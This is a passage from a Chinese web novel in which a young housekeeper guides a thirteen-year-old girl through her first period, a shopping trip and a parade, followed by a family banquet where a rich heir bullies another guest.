她不是一直都这么厉害,没有来到这个世界之前,她也是一个人学着怎么长大,模仿着别人的一举一动,一步步深深浅浅地往前走。 受到委屈了也想哭,受了伤也知道疼。 就是没人说而已。 可能只是比陆柠多一点未来的方向,知道自己以后要做什么,所以会认真学习,所以在遇到这件事时并没有太恐惧。 就是会慌乱,会不安,会不知所措,笨拙地去一点点地查看要怎么处理。 她莞尔:“第一次来时,我觉得自己不会走路了。” 陆柠深以为然:“是吧,我也是这么觉得的。” “嗯,不 过也会开心。” “为什么?” 乔梧手上的动作微顿一秒,继而敛着眸色说:“可能因为这意味着我长大了,长大了就可以做更多想做的事。” 可以让她自我安慰不再是一个小孩,可以鼓起更大的勇气去承担更多的责任磨难和未来。 陆柠嘟囔:“所以我说你比我厉害。” 反正她不会想这么多。 “不一样。” “哪里不一样。” “因为你身边有很多人都会帮你的。”乔梧抬眼,“我跟你说过,除了我你还有家人,叔叔爷爷,如果有什么担心害怕的,可以告诉他们,他们一定会站在你这一边,这是你的权力。” 又说:“如果有开心的事,也可以试试告诉他们,他们也会很乐意听你的分享。” “你不用这么辛苦。”乔梧眼中温着柔软的笑意:“所以下次就不要一个人在房间里哭了。” 如果是以前陆柠还会反驳一下,家里人不会站在她这边的。 可最近她又拿不稳了。 因为这段时间以来,陆应池他们也没有把她怎么样? 作业错那么多也没被打,就是被迫吃了很多核桃。 所以乔梧的话是可以相信的吧。 陆柠点点头:“哦。” 乔梧陪着陆柠洗完那些衣服,又坐在电脑前陪着陆柠把她搜出来的那些小常识都一一看完,最后还打算把床单被套拿下去给佣人洗了,因为实在是太大。 临走前又说:“我让人帮你把坏了的夜灯换一下。” 陆柠正趴在床上适应自己的新阶段,听到这话后愣了愣,这才想起来她房里的夜灯坏了很久。 在乔梧离开后,她又一骨碌爬起来,将房间里所有的窗帘打开,整个屋子瞬间变得透亮舒心。 陆柠给娃娃穿上乔梧送的娃衣,抱着娃娃绕着偌大的房间跑了一圈,又跑回窗前。 没忍住蹦了两下。 嘿嘿! 忽然,她从窗户看到楼下的陆应池从马场回来,她立刻回头找自己的书包。 她现在心情特别好,好到可以多写两张试卷。 而且乔梧说可以找家人,她立刻抱着书包出发了,今天她可以勉为其难多吃陆应池敲的一碗核桃。 这边陆应池听说陆尽之不在家后才下的楼,闲着没事又去马场遛了一圈公主。 他插着兜刚走进主宅大门,就看到电梯里陆柠抱着书包冲了出来。 一见到他陆柠就高高抬起手,眉飞色舞的:“陆应池,我要跟你分享一件开心的事。” 谁乐意听你开心的事。 你不开心我可能会愿意听一点。 但话到嘴边陆应池还是半坐在沙发上:“说。” 陆柠走到他面前,得意洋洋地说:“我今天来月经了!” 陆应池:“……” 第30章 第三十章二更 “你来……你……”陆应池差点跳起来,整个人都绷得很紧,精神有点崩溃,“你跟老子说这种事情干什么!” 陆家四少爷长这么大,除了小时候牵过乔梧,其他一个女孩子都没碰过。 唯一一次在游艇上被人激得去邀请女生喝酒被拒绝了不说,还被乔梧抵着膝盖压在船上兜头浇了一身的酒。 他哪里能听这种话! 没有得到预想的反应,陆柠眉毛弧度都平了:“你不替我高兴吗?” “我替你……” 陆应池真是草了。 他为什么要替人高兴这种事情! 见陆柠搂着书包卷着眉心,他深吸一口气:“高兴,老子高兴行了吗?要不要再去给你买两串鞭炮放一放?” “倒也不用那么隆重。”陆柠犹豫了一下,扭捏的问,“家里可以放鞭炮吗?” 她的零用钱可以买。 陆应池忍无可忍:“你别找事。” “算了。”陆柠又被哄好了一点,“我要写作业,你去吗?” 陆应池拧眉,上下打量着她:“你还写得动作业?” 陆柠:“?” 为什么不能? 在陆应池有限的了解中,以前他那些狐朋狗友曾经说过女孩子如果有这么几天,常常坐立难安心情烦闷腰酸背痛,做什么都提不起劲来。 更夸张的还有疼晕过去的。 但怎么一看陆柠还神采奕奕,甚至主动提出来要去写作业。 难道是人不同,症状也不同? 但是有一条他记得很清楚——“顺着呗”。 否则遭殃的就是其他人了。 本来就不是个省油的灯,再难管一点就更祸害人。 他勉为其难:“行吧。” 去藏书楼的路上,陆柠还是一蹦一跳。 陆应池想不明白传说中这么痛苦难受的事情她是怎么高兴得起来的:“你到底在激动什么?” “你不懂。”陆柠老神在在,“乔梧说我长大了,长大就是可以做自己想做的事。” 虽然她还不知道自己想做什么,但长大了这三个字对她来说很有吸引力。 陆应池想象了一下这小丫头蹦到乔梧面前,兴致昂扬告诉对方“我来那什么了”的画面,眼前一阵眩晕。 “你告诉乔梧了?” “是她来找我的。”经过乔梧的开解,现在陆柠并不觉得这是什么不可以说的事,医生都说很正常! “她教我……” “打住!”陆应池心有余悸地捂住她胡说八道的嘴巴,觉得十分头疼,“她也让你到处嚷嚷了?” 陆柠挣扎:“唔唔唔!” 陆应池分开手指,给她留出说话的空隙,又防止她再次口吐狂言。 “她说可以跟你们分享开心的事。”陆柠眨巴着眼睛,抿抿唇,又说,“反正你是小叔。” 陆应池微怔。 他从来没听过陆柠叫自己小叔。 说起来这可能是陆家的家学渊源,家里不存在什么辈分之说,老头是老头,陆尽之是陆尽之。 所以他从来不觉得陆柠不叫自己小叔有什么不对。 “你叫我什么?”他问。 陆柠红着耳朵:“陆应池!” “懒得跟你计较。”陆应池松开手,揪住她的马尾辫,哼道,“不要什么话都往外说,搞搞清楚你是女孩子。” 她可能还没分清乔梧说的分享是什么意思,也或许是没有跟人分享过,所以没什么经验。 陆应池原谅她了。 但他在这一刻忽然明白一件事,陆柠是个女孩子,她长大的过程跟他们几个大老爷们不一样,老头也没意识到这个问题,而是用过去养他们的方式来养陆柠。 如果今天没有乔梧在,那陆柠会怎么样? 反正是不会跑来跟他分享的。 陆应池第一次意识到家里有一个正在长大的小孩,而且是从来没人去在意过的小孩。 他看了陆柠一眼,来到藏书楼后第一次没有那么刻意地去给她敲核桃。 而是拿出手机开始搜索育儿手册。 想了想,发现陆柠的年龄已经不适合育儿了,又搜索起来青少年心理健康管理。 陆应池一边搜心里却在不停逼逼。 老子当初养自己的时候都没这么认真过! 陆柠在藏书楼老老实实做完了整个周末的作业,正好明天她也要去晚宴,也没时间写作业了。 中午吃饭的时候,坐在乔梧身边的陆应池压低声音:“你下次让她少说一些莫名其妙的话,让人慌张。” “她跟你说什么了?” “说……”陆应池咬牙切齿,“老子说不出口。” 乔梧往吭哧干饭的陆柠那边看了一眼,隐隐猜到一些。 她没什么朋友,但是又很听话,早上出去跟陆应池待了一上午可能会忍不住分享自己的新阶段。 “陆柠。”她喊了一声。 陆柠从碗里抬头:“嗯?” 乔梧笑着说:“下午我们去逛街。” “!!!” 虽然约定好周末要出去逛街,但这周日家里有宴会,陆柠以为乔梧会很忙,所以很自觉地没有再提起来。 跟陆尽之比重要性,她还是有点逼数的。 她饭都顾不上吃了,放下筷子就往楼上跑:“我去换衣服!” 陆应池很懵逼。 “我让你跟她聊聊,没让你就带她出去了。”他不满,“我也要去。” 乔梧:“这是给她的奖励,还没轮到你。” “我任劳任怨给她辅导,核桃都敲了十多斤了。”陆应池气笑了,“还整天听她说那些乱七八糟的话,没有奖励也该有点精神损失 费吧!” “那不是你作为一个小叔该做的吗?”乔梧从自己的餐盘里取出一块西瓜递给他,“下次带你。” “呵,饼都吃饱了。” 陆应池嘴上说着,身体却很诚实,愤愤地低头一口咬掉她手里的西瓜,还耀武扬威地咬着叉子不松嘴巴。 乔梧:“……” 幸好这叉子她还没用过。 “你是狗吗?”她无奈,“手拿着。” 怎么老喜欢从别人的手里吃东西。 陆应池哼哼两声接过她手里的叉子,又从她的餐盘里叉了好多水果吃。 乔梧只好把一整盘都放到他面前,发现他自己面前那盘一口没动过。 发现她的目光,陆应池一把护住自己的餐盘,眼神闪烁:“看什么看,我个高,还在长身体,吃得多。” “行。”乔梧挑眉,“多吃点,我等你再往上窜十厘米。” 要出门她也要去换身衣服,所以没有在餐厅里久待。 等人走后,陆应池三下五除二把她餐盘里的水果吃完,再轮到自己餐盘时动作却迟缓了很多。 怎么感觉自己的没有她的好吃。 他咬着叉子,喉间轻轻滚动,比起那块诱人的西瓜,他依然最先看到的是她的手。 比起小时候,那双手已经褪去了肉感,变得纤细修长,连指甲都精心保养过透着粉,仿佛一碰就会留下痕迹。 不像同一双手了,可他却还是想要这双手来喂他吃东西。 比起小时候,更甚。 陆应池摸不清头脑,但话都说出去了,还是忍着饱腹感把剩下的水果全塞进了肚子- 陆柠换了衣服下楼没一会儿就见乔梧开着车过来了,她飞快爬上副驾驶,将自己的包抱在胸前:“去哪里逛?” “先去商场。” 早上的时候乔梧就想过了,陆柠第一次来的不只是例假,还有很多个第一次都没人引导,所以打算先腾出一点时间来慢慢教她。 这样她以后也不会忽然说出什么让陆应池害怕的话来。 来到商场,她先带陆柠去了一家内衣店。 陆柠红着脸躲在她身后进去,压根没想到逛街是这么个逛法。 她不是没有发现自己的变化,但是因为经常穿着校服,而且每次很多品牌方送衣服过来都会考虑到她的年龄,给她送来合适的衣服。 但出来买她还是第一次。 “害羞什么?”乔梧将她拎出来,“每个人都要穿的,而且这里都是姐姐,看到了吗?” 陆柠小声说:“家里有。” “就算家里有,以后品牌方来家里送衣服,不也要知道你是什么尺码吗?” 乔梧温声说:“到时候你怎么办呢?” 旁边一直等待为她们服务的几个销售员:“!!!” 什么家庭啊,有品牌方去家里送衣服?! “每个阶段都不一样,这里的姐姐们都是专业的,她们会告诉你你什么时候需要穿什么样的衣服。”乔梧将她的包包拿到自己手里,“你要对自己足够了解,知道吗?” 陆柠抿着唇。 “我会陪着你。” 这下陆柠才轻轻点头。 销售员一看到小姑娘这么拘谨,顿时都明白是为什么了,便笑着走上前:“妹妹,姐姐来给你介绍一下?你这个年纪适合……” 陆柠被推着挑了很多粉粉嫩嫩的小衣服,去试衣间的路上,她抱着一堆回头。 乔梧的确一直安静地陪在她身边,朝她轻笑着点头。 这一刻陆柠心里才真正安定下来。 最后她提了好多袋子从内衣店里走出来:“我以后都不想让人送衣服回家了。” “为什么?” “买衣服好像更有意思。”陆柠抬头,“我以后也会努力举报……不是,努力学习,那你还会陪我吗?” 乔梧失笑:“如果有空的话。” 行吧。 “如果。”陆柠得寸进尺,“如果我期末考得好一点的话,你会陪我去旅行吗?” “旅行?” “嗯。” 说来挺丢人的,虽然陆柠不少吃不少穿,也有很多零花钱,但她从来没出过远门。 没有人限制她的行动,但也没有人陪她出去。 所以她没有出去旅游过,不管是以前还是现在的同学都总说寒暑假爸爸妈妈带他们出去玩,每到这个时候她就更容易跟同学打架。 “如果没时间就算了。”陆柠给自己找补,“我知道你很忙。” “也不算很忙。”乔梧也想到了小孩的经历,她俯身看着努力让自己显得不那么在意的小孩,“不管你考得好不好,我都带你去旅游。” 陆柠瞳孔微微睁大:“真的吗?” “嗯。”乔梧点头,“你忘了当初转学的时候我是怎么跟你说的吗?玩得开心了再考虑学习的事情。” 陆柠顿时挺直腰板儿,把乔梧手里提的那些大包小包全都抢到自己手里:“我存了很多零用钱,你放心,你是带薪休假。” 乔梧被小孩的一本正经逗得笑意不止。 时间还早,想着小孩期待了很久,所以她没着急带陆柠回去,而是在商场里逛了起来:“今天我们在外面吃饭,想吃什么?” 陆柠毫不犹豫:“火锅!” 陆家的餐桌太大,如果要吃火锅就要换到小桌去,过去也没人会愿意坐得那么近在同一个锅里煮东西吃。 哪怕是谁嘴馋了,也都是自己吃自己的。 所以陆柠一直对火锅都充满了幻想,或者说她对任何一个可以跟人紧密贴着坐在一起吃的食物都有幻想。 “好,今天带你吃火锅。” 陆柠很喜欢逛街,哪怕店里卖的不是适合她的衣服鞋子包包,她也会一家一家走进去逛一圈。 然后时不时回过头,指着某一个东西说:“这个适合你。” 购物是女孩子的天性,看到喜欢的东西乔梧也会多看几眼,她也乐意给自己买一些漂亮东西来填补过去这些年的遗憾。 所以她也试了不少,每次走出试衣间,陆柠就坐在外面的沙发上认真打量着她,就跟当初给她挑选眼镜一样。 然后抽出自己的卡,十分豪爽:“买!” 乔梧:“……” 果然是陆家人,霸总气质从小就养成了。 乔梧把她的手按回去:“你给我买什么?” 陆柠当然不会承认自己听陆宣说过,乔梧身上穿的衣服戴的珠宝都不便宜,所以她的要求很高。 要养乔梧是要花很多钱的。 恰好她就是有钱! “你喜欢就买给你。”陆柠很坚持,“他们如果不争气,我就养你。” 几个导购羡慕得牙都要咬碎了。 “我还没穷到让小孩来花钱。”乔梧将她的卡塞回她的包里,“你先留着,不是要带我去旅游吗?到时候再给我。” 旅游要花很多钱吗? 陆柠没算过,她打算回去再算一算。 好像陆应池那个游艇是挺贵的,是啊,她还要再买一艘游艇。 坏了,好像以后不继承家产不行了。 小小年纪的陆柠开始对自己以后的工作和生活有了第一步的规划。 一定要有钱,然后要养得起乔梧。 偌大一个商场一家一家逛下来着实要花不少精力,最后两人实在走不动了,就近找了一家火锅店坐了下来。 陆柠小心翼翼地揪着自己的裙摆坐下。 这是刚才她在店里买的,乔梧说好看,她也很喜欢,所以当场就换上了。 到了这个时候陆柠才有一点点犹豫,火锅店的味道好重,这衣服回去可能就穿不成了,早知道就不来这里了。 她左右看了一眼,小声说:“我要围裙。” 乔梧与她面对面地坐 着正在擦拭餐具,闻言抬头:“你在跟谁说话?” “服务员。”陆柠不解。 乔梧将擦好的餐具放在她面前,表情平静:“他们不是家里的佣人,也不是家人,每个人都有自己的工作称呼,礼貌是基础不是吗?” 家里的佣人对陆柠百依百顺惯了,她也习惯了跟陆应池他们对呛,有时候会习惯性地把家里的那些毛病带到外面来。 所以乔梧不希望她继续这么下去,连说句“谢谢”都能让家里那几个人浑身不适。 陆柠抿了抿唇,像在学校里老师说的那样举起手:“服务员,我要围裙。” “你好,围裙是吗?”服务员拿了东西过来,看到她的白裙子和露在外面的手臂后又问,“需不需要再给您一个袖套?” “要的。”陆柠接过东西,下意识看了对面的人一眼,又僵硬地说,“谢谢。” “不客气。”服务员早就注意到了这一桌的人。 不管是姐姐还是妹妹都长得太好看了,在人群里都会闪闪发光。 “你们长得真好看。”服务员忍不住赞叹道,“是姐妹吗?” 陆柠愣了一下。 姐妹? “她是……”她忽然有点说不出管家这两个字,因为比起管家,她此时好像找到了一个更合适对乔梧的称呼。 更能体现出亲密和独特。 “对。”陆柠抢在对面的人之前开口,“是的!” “果然是一家人才有的颜值。”服务生笑道,“祝你们用餐愉快。” 陆柠垂着脑袋盯着锅里的底料,不太敢抬头面对乔梧。 要是她不同意这个称呼,那岂不是丢脸死了。 乔梧看她脑袋越埋越低:“你要把自己的脑袋也埋进去涮一涮吗?” 陆柠坐直身体,笨拙地将围裙系上,又把袖套戴好,稍微平复了一点点心情以后才抬头:“我们长得很像吗?她说我们是姐妹。” 乔梧:“不像。” “哦。” 她就知道。 乔梧哪里会看不出她的失落,十三岁的小孩太容易看懂了,她含笑:“你比我小时候可爱多了。” 陆柠的脸轰的一下变红。 她今天在外面接收到了好多善意,原来外面是这个样子的。 少年人的精力永远都那么旺盛,吃完一顿饭后陆柠感觉自己又行了,她不愿意这么早回家,恰好商场外面有个广场,趁着周末人流量高的时间正在做大型国潮游行,把东西放回车上后,又拽着乔梧去了现场。 上一辈的乔梧没有太多时间去体验努力以外的生活,这一辈子又被困了许久,所以她对这些活动也并不排斥,除了稍稍有点挤。 正在游行的是被装上灯光的国风巨物花车,每辆花车上都有乐队在表演,还时不时有幸运观众被邀请上去互动。 担心陆柠被人群冲散,乔梧一直紧紧牵着她。 但由于人太多,她的眼镜一下没扶稳被人挤掉到了地上,在这个时候低下头去捡眼镜并不是一个合适的选择,所以她只低头看了眼就没再管,打算改天再去配一副。 忽然,她耳边的喧嚣声变得更大,周围的人似乎都开始以她散开围成了一个圆。 乔梧眼前多出一双手,她抬头一看,是游行花车的头车停在了面前,而旁边坐着的那人朝她伸出了手,邀请她一起上车互动。 乔梧笑着摇了下头,抬起自己牵着陆柠的那只手,表示自己还有同伴。 但那人却依旧没有放弃,而是示意两人可以一起上来。 陆柠从来没体验过这种,兴奋地拉住乔梧的手跃跃欲试。 见状乔梧只好带着她登上了花车,刹那间周围的喧嚣声更大了。 离这里不远的某个中式私房菜馆内,陆尽之从洗手间回来就听到坐在对面的人手机里的吵闹声。 见他来了,徐朝下意识就要将手机收起来,可在看到某一张脸时忽然咦了一声。 “乔管家?” 陆尽之掀眸朝他看去:“看来你对她印象很深。” “不不不。”徐朝忙摇头,又觉得自己的话不太对,忙说,“对,我对她印象是挺深的。” 察觉到自己越说老板脸上的笑意就越深,徐朝直接后背发凉。 上一次老板这么笑的时候,陆家三少爷的卡就被停了。 他还没发工资啊! 在自己工资岌岌可危之前,徐朝忙把手机转过来递过去:“我是说这好像乔管家。” 陆尽之扫了一眼。 在喧闹的花里胡哨的直播里,有那么两张熟悉的脸,其中一张他在离开家之前还见过。 直播页面的弹幕密密麻麻。 【这哪里是路人,是他们团队请的人吧?随便捞一个路人就能这么好看?我不信!】 【一分钟之内,我需要这里的地址,我打飞的过去。】 【啊啊啊我素未蒙面的老婆,镜头给我怼近一点!】 仿佛是知道观众们喜欢看什么,镜头一近再近,直接怼到了那张清绝的脸上,久久不曾离开。 陆尽之移开视线:“是她。” 虽然作为管家,但实际上没有明确的工作时间,只要她的工作做完,她想去哪里想做什么都无所谓。 陆尽之自觉不是那么丧尽天良的资本家。 “您安排的吗?这好像是清湾广场在办的活动。”徐朝说。 陆氏前段时间才收购了清湾广场所属的公司,所以现在这旗下的商场常常在举办各种活动引流。 他表达自己的肯定:“那乔管家的形象的确很符合。” 陆尽之喝了口茶,轻轻看他一眼:“如果你的眼光已经退步到可以将这廉价的镜头和她的价值相较,那你明天就可以提交辞职信。” 徐朝瞬间汗流浃背。 从老板的话里就听出了四个字。 工资卡,危! 但如果他没有理解错,老板的意思是…… 这场活动引流的价值跟乔管家比起来很廉价? 他低头看了眼直播间人气,因为有些网红也在,所以也有好几百万呢。 乔管家这么牛逼的吗?能在陆总这种挑人的眼光下得到肯定。 他紧急挽回:“那应该是去玩的,那边一直很热闹,也是,乔管家长得那么好看,谁看一眼都会对她印象深刻,邀请她也正常。” 这次陆尽之没再说话。 徐朝只觉得钱难挣屎难吃,好像说什么都没有办法探测到对方的心思。 他就不该贪这一顿饭,折现在家里瘫着不香吗。 陆尽之吃完饭出来已经是晚上九点,私房餐馆的位置离清湾广场并不远,回陆宅时也要经过,车开到这里时还是里里外外都挤满了人,只能看到人群里花车正在缓慢往外移动。 应该要结束了。 负责这次活动的团队见直播间和现场的人气空前高涨,一直都没舍得把头车上那两个颜值担当放下去,盛情邀请她们在车上玩到了最后,还送给了她们活动的国潮赛博眼灯。 头车上的工作人员也很贴心:“这边人多下去不安全,我们把你们放到人少的地方再下吧。” 乔梧也有些担心陆柠,所以点头。 花车慢慢往外游走,工作人员又说:“我们这边有个结束仪式,不知道您愿不愿意帮个忙参与一下?” 乔梧在谢意给的文件里看到过清湾广场所属公司的收购计划,所以也明白这个活动的引流用意。 玩也是玩,还能给陆氏多挣点钱,她并不介意,便问:“什么仪式?” “头车一会儿停下的时候,最前面会挂着一张没有落下的海报,我们这里有把弓,您可以拿着弓朝着那个方向射开,到时候工作人员会安排的。” 弓上配着一支箭,乔梧看了一下,那箭被改装过,没有什么危险性。 就是可能当时设计时就是给大人用的,所以有点大,陆柠拿不了。 乔梧把弓接过去:“好。” 头车这边因为距离和方向原因,并没有多少人。 她没有戴眼镜,那幅海报的位置有些远,只好微微眯起眼。 周围配着音响,在工作人员震耳欲聋的倒计时之下,乔梧抬起手将弓箭对准了那幅海报,她身后的商场大屏上此时正在转播最后的一刻。 看不见花车头的人,纷纷扭头看向大屏幕。 只见镜头里的人抬起手臂,手臂绷起漂亮有力的弧度,她下巴微收,姿势十分标准,戴着的眼灯给她的脸衬出清冷感。 在倒计时到1时,那只箭瞬间离弦而发。 砰的一声,在距离海报很近的位置绽放成一朵礼花,宣传海报应声落下,引起一片喧嚣。 与此同时周围也接连响起礼花声,彩带从天上渐渐飘落下来。 乔梧弯了弯唇,放下手,视线不经意扫过镜头,画面定格在此处,接着放出来的是这次活动的广告。 可最后那个眼神却被无数现场和直播里的人收在了心底,四周的欢呼声震耳欲聋。 人家谁管这是什么路人素人,此时此刻这个女人就是他们心里的神。 纷纷都想上前再看一看这个人的真容,万一真是哪个明星呢!先看一眼要个签名,以后不亏啊! 人群渐渐拥挤起来,乔梧从花车上下来拉住陆柠飞速往外走。 从这边绕去停车场有点远,她在脑海里规划了一下路线,可这时路边却停下一辆眼熟的车,她脚步微微一顿。 司机从车上下来给她拉开车门:“小小姐,小乔管家。” 乔梧毫不犹豫拉着陆柠往前,将她塞进了车里。 陆柠跟车里的人对上视线,眼镜上的灯映在对方清俊的脸上,五颜六色忽闪忽闪,闪得她心里发慌,生怕陆尽之再给她来一句“会蹦迪的鸡”。 她缩了缩脖子:“二叔。” 出乎预料,陆尽之只是浅浅应了一声,带着笑问:“怕我?” 陆柠飞速爬到离他最远的位置:“没有!” 陆尽之:“……” 他没再说什么,而是朝后面上车的人轻轻弯唇。 这总不能怪他了? 乔梧也挺无奈。 司机已经将车门关上隔绝了外面的声音和人群,乔梧松了口气:“你怎么在这里?” 其实早就该离开的。 但在陆尽之要走的那一瞬间看到大屏幕上多了个人,镜头在那一刻被弱化掉了它的廉价。 他忽然想起今天还有事没做,所以让司机停了下来。 “来报平安。”他说。 30-40 第31章 第三十一章谁主谁客 宴会当天。 穿着小礼服的陆柠从楼上下来,却没看到乔梧的身影,她在家里逛了一圈,忍不住问佣人:“乔梧呢?” “小乔管家去宴会厅了。” 陆柠:“哦。” 顿了顿,又补充道:“谢谢。” 回答问题的佣人顿时受宠若惊,小小姐第一次跟她们说谢谢! 以前不仅不会说,甚至都看不到多少好脸色,可自从小乔管家上任以来,这家里每个人的精神状态都变得格外美丽了。 陆柠在楼下等了等,还是没有等到其他人下来,只好自己走出大门。 其实她有点紧张,因为这是她第一次参加宴会。 陆家人都没有家这个概念,也不在意什么节日纪念日,甚至除夕夜当天都各自散在国内外不知道哪个地方,一般有什么商业宴会也是轮不到她出席的。 所以她想要找个人跟自己一起走,只是乔梧今天这么忙,那就算了吧。 自己去也行,以前开学也自己去。 吃吃喝喝到点就溜。 客人们的车都停在客用停车场,再徒步走去宴会厅,一路上都有人,只是她并不认识,所以自己单独走在路边。 “陆柠?” 听到声音的陆柠回头,发现是上次陪她在藏书楼写作业的人。 她停下来。 郭力言几步上前赶上她的步伐:“怎么就你一个人,你家人呢?” “不知道。” 郭力言想了想:“你要去宴会厅吗,一起过去?” 之前陆柠在饭桌上听到过乔梧跟陆应池讲道理,所以她很客观的没有太讨厌这个人,就点了点头。 郭力言轻轻松了口气,又把自己手里的东西递给她:“上次出了意外没能给你,我买了新的,这次是专门给你的礼物。” 陆柠嘴巴比较快:“你来看猴还给我带礼物?” 郭力言:“啊?” “……没事。” 被陆应池洗脑了。 幸好陆尽之不在。 不过这次陆柠并没有拒绝,而是将对方给的礼物接了过去。 见状郭力言心里的石头才落下。 其实今天能来陆家参加宴会本来就是意外,他没真的打算要做什么。 他跟着母亲进入郭家的时间比较短,郭阳洲更是不可能会把公司的大权分散到他一个私生子的头上来,他的唯一价值只有哄哄过去的陆应池、或是讨好可以给郭家带去利益的人。 上一次如果真的争取到了机会,来这里跟这些顶层人士聚会的人也不会是他,而是郭阳洲。 他清楚自己几斤几两,他的认知见闻都不足以踏进顶层的圈子,所以多说多错,如果真的有合适的机会就算了,如果没有他就老老实实的待着,别在这样的场合再闹出什么乱子来。 所以他干脆把自己能做的做了,这次他是真的想要弥补一下自己的过失,给陆柠一份纯粹的礼物。 两人走进宴会厅,郭力言被眼前的景象惊住了。 陆氏旗下有酒店,平时大大小小也会举办不少酒会,但陆氏的私人晚宴不允许记者进入,一般只会在陆宅举办。 这里跟酒店比起来有过之而无不及,能看见的一共四层,一楼大厅以及二楼隔开的茶室都是活动区域,外接花园和泳池,空间很大,所以再多的客人在这里都不会觉得拥挤。 而三楼四楼是给每一个客人提前准备好的休息室,墙上挂的每一幅画都是名家名作。 所有的装饰都没有太过奢华,却在细节处透着内敛大气。 难怪有那么多人挤破头想要跟陆家沾上边。 郭力言穿着高定西装,可现在他站在人群里依旧有一种自己套上了不合身衣服的装模做样的自卑感。 此时宴会还没有正式开始,陆尽之更是没有出面。 他现在只想找个地方把自己缩起来,便问陆柠:“你要去哪吗?” 陆柠更是对这些应酬没什么兴趣,又没人认识她,所以她把礼物袋子挂在手肘,端了两个蛋糕往花园的秋千走去,边走边埋头一只手咬一口:“不去。” 郭力言也没处可去,便跟在她身后,见她在秋千上坐下,自己也在后面的椅子上坐下,轻声问:“我给你先拿着,你先吃吧。” 礼物都接过来了,哪有再还给人家的道理,陆柠摇摇头:“不用。” 说话间,有几个人从花园深处走了出来,有个人见到郭力言时脚步停下,高高扬起眉:“郭力言?” 郭力言抬起头,见到来人后寡淡的表情露出笑意,站起身打招呼:“秦少。” 旁边有人问:“这是谁?” 秦天睿笑道:“乐子。” 郭力言表情微变。 “以你家的情况不应该出现在这儿啊。”秦天睿走到他面前,居高临下地说,“你自己来的?” “嗯。” “听说前段时间你跟汪自明那几个人来了一趟陆宅,那几个被陆应池拉黑送进警察局,最近被家里人关着教育,倒是你……”秦天睿轻嗤,“你还挺有本事走出来,看来那天把陆应池哄得不错,今天都能来这儿了。” 郭力言维持着表面的笑意,没说话。 他无法反驳, 毕竟他只是郭家放出去的一条对别人摇尾乞怜的狗。 任何要讨好的人都有资格踩他一脚,他也无法反驳,这也是他不太愿意去大厅里待着的原因。 秦天睿的家世很好,他父亲早年就跟陆江有私交,现在他大哥继承家业也一直都跟陆氏有往来。 可以说陆尽之放弃国内的一切出国发展的两年,国内同辈人中只有秦天睿的大哥秦敛站在金字塔顶端。 见郭力言没吭声,憋屈了大半天的秦天睿终于舒服了。 能来陆家这次宴会的人都不是什么省油的灯,除了汪自明那几个没有脑子的蠢货也没有谁敢在陆宅闹事。 但是秦天睿一点都不喜欢陆家,甚至可以说是讨厌。 他自觉秦家的地位并不低,而他更是从小含着金汤匙出生,哪里比陆应池和陆宣那两个草包差了? 还有那个什么陆尽之,明明都出国两年了,搞得像是什么了不起的人一样,每当谁提起他哥都要再多提一嘴陆尽之。 每一次只要跟这家兄弟对上,他就永远都要往后靠。 所以陆家兄弟有的,他也要有;陆家兄弟没有的,他更是想方设法要得到,这几乎已经成了他心里的一根刺。 郭力言是圈里出了名的“服务员”,哪里有人哪里就有他,但每次只要有陆应池在场,郭力言就只会围绕着陆应池转。 今天秦天睿被自己大哥压着来陆宅,知道不能在这里闹出什么事来,所以一直都憋着一股气,这才多大会儿,就已经找地方抽了很多烟。 现在好了,他是不能主动招惹别人,但有人会主动来当他的乐子啊。 “你怎么讨好的陆应池?”秦天睿问,“也来讨好讨好我,下次我家办什么酒会,我也给你一张邀请函。” 跟秦天睿一起的几个年轻的男男女女都是常在一起玩的,也都知道秦天睿对陆家那几兄弟的不满,从秦天睿的态度来看也知道眼前的人是个什么地位。 一个个都笑出了声,还起哄道:“一起啊,我家也常常办晚宴呢。” 郭力言手轻轻合成拳,又松开。 他没有任何立场拒绝或是得罪别人,在场的每一个人都能轻易地把他击垮,让郭家把他放弃丢掉。 秦天睿:“酒会还没开始,闲着也是闲着,一起玩玩?” 郭力言垂下眼:“好。” 他转头看向陆柠,可对方还在认真地埋头吃着蛋糕,好像没有听到这里的对话。 这样也好,她一个小孩子应该还听不懂,如果牵扯进来也不好。 所以他也没有主动跟陆柠说什么话,而是跟着秦天睿几人走了。 而在他走后,陆柠几口将蛋糕吃完,提着礼物袋子也跟在了后面。 今天宾客多,带着自家小孩来的也不在少数,没人见过陆柠,因此也没人把她当回事。 一楼是公共空间人比较多,所以秦天睿几人上了二楼,喝茶的人比较少,他们打算找个左右都没人的位置。 往最边缘走了一段,却忽然看到那里相隔着屏风坐着个人。 从屏风间隔中只能看到那人的半张脸,是个年轻的女人,皮肤很白,光是露出来的半张脸就惊艳绝伦。 屏风后她的身体轮廓若隐若现,只能看见坐得很端正,喝茶的动作之间透着随意的高贵。 人都是视觉动物,所以几人都忍不住多看了几眼。 只有郭力言身体忽然变得僵硬。 他怎么会认不出来那人是谁,他看都不敢看一眼的人。 可是现在…… 秦天睿已经收回了视线,与那人相隔一个茶室坐了下来。 “有人认识?”他问。 同行的人纷纷摇头:“看着眼生,像是自己一个人来的。” “看着年纪也差不多大。”秦天睿还停留在刚才的一眼惊艳中,“圈子里还有这种人物呢?” “感兴趣就找个机会认识认识啊。”旁边的人笑道,“谁还不给你秦少几分面子。” 秦天睿挑眉,那的确是。 旁边听着的郭力言脚下踉跄了一下,膝盖磕在桌上,疼得他脸色发白。 “坐不下就站着吧。”秦天睿抬手挡在他面前,嘲讽道,“你连自己该站在哪都不知道?” 每个茶室都安排了佣人在这儿给客人泡茶,但秦天睿却让那个走来的佣人离开:“这里不用你了。” 这时提着礼物的陆柠从他们的茶室外经过,她刚准备在那个空出来的茶座上坐下就看到了最角落的人。 “!!!” 原来她在这里,难怪找不到! 她往前几步跑上前,啪嗒一下坐在了乔梧面前,将自己的礼物放在桌上。 正在看资料的乔梧视线被粉红色的礼品盒取代,诧异抬眸:“怎么到这儿来了?” 今天的晚宴是陆尽之的主场,她不用出席,所以就找了个角落的位置坐下来,现场如果有什么事情需要解决也可以第一时间出现,固定的位置也方便佣人们过来找她。 “拆礼物。”陆柠指着盒子。 乔梧问:“谁送的?” “郭力言。” 这个人乔梧有些印象,她点了点头,对这件事并不太意外,只是觉得这个人处事还可以,他已经达到了目的,今天来宴会的主要目标也是陆尽之,却还是没有忘记陆柠,哪怕那天被陆柠拒绝过。 不管他是什么用意,但做到这样还算周到。 “他在后面。”陆柠又说。 这下乔梧才看到与她相隔一个茶室的位置坐了几个人。 但陆柠一个字一个字往外吐,一定是有什么事。 